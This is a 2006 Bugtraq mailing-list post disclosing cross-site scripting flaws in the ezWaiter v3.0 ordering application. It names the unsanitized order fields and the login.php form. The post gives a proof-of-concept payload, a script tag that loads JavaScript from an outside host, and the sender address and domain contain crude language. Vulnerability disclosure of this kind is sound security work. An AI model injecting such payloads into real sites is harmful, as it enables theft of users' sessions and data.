Bugtraq mailing list archives
ezWaiter v3.0 - XSS
From: luny () youfucktard com
Date: 30 Jun 2006 03:14:08 -0000
ezWaiter v3.0 Homepage: http://www.ezwaiter.com/ Affected files: Placing an order login.php ------------------------------------------- XSS vuln when placing an order: User input is not sanatized before being generated. For a PoC in the two boxes labeled "Who is this item for?" and "Special Instructions:" put: <SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT> The login form found on login.php can be spoofed to remove the max char limits. It too doesn't sanatize data. ---------------------------------------
Current thread:
- ezWaiter v3.0 - XSS luny (Jun 30)